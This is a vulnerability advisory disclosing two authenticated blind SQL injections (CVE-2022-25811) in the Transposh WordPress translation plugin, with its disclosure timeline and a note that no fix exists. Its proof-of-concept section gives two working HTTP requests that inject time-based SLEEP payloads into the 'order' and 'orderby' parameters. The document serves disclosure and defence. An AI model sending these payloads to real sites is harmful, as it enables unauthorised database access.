ADVISORY INFORMATION

CREDITS

This vulnerability was discovered and researched by Julien Ahrens from RCE Security.

VERSIONS AFFECTED

Transposh WordPress Translation 1.0.8.1 and below

INTRODUCTION

Transposh translation filter for WordPress offers a unique approach to blog translation. It allows your blog to combine automatic translation with human translation aided by your users with an easy to use in-context interface.

(from the vendor’s homepage)

VULNERABILITY DETAILS

The WordPress plugin’s “tp_editor” page at “/wp-admin/admin.php?page=tp_editor” is vulnerable to two authenticated, blind SQL Injections when user-supplied input to the HTT GET parameters “order” and “orderby” is processed by the web application.

Since the application does not properly validate and sanitize these parameters, an attacker with the role “Administrator” is able to inject arbitrary SQL commands against the backend database server of the web application.

Successful exploits can allow the attacker to access the WordPress backend database and thereby read sensitive contents. This is specifically relevant in multi-site installations.

PROOF OF CONCEPT

To exploit the “order” parameter:

GET /wp-admin/admin.php?page=tp_editor&orderby=lang&order=page=tp_editor&orderby=lang&order=asc,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END)) HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Cookie: [Your Cookies]
Connection: close

To exploit the “orderby” parameter:

GET /wp-admin/admin.php?page=tp_editor&orderby=lang&order=page=tp_editor&orderby=lang,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END))&order=asc HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Cookie: [Your Cookies]
Connection: close

SOLUTION

None. Remove the plugin to prevent exploitation.

REPORT TIMELINE

  • 2022-02-21: Discovery of the vulnerability
  • 2022-02-21: Contacted the vendor via email
  • 2022-02-21: Vendor response
  • 2022-02-22: CVE requested from WPScan (CNA)
  • 2022-02-23: WPScan assigns CVE-2022-25811
  • 2022-05-22: Sent request for status update on the fix
  • 2022-05-24: Vendor states that there is no update planned so far
  • 2022-07-22: Public disclosure

REFERENCES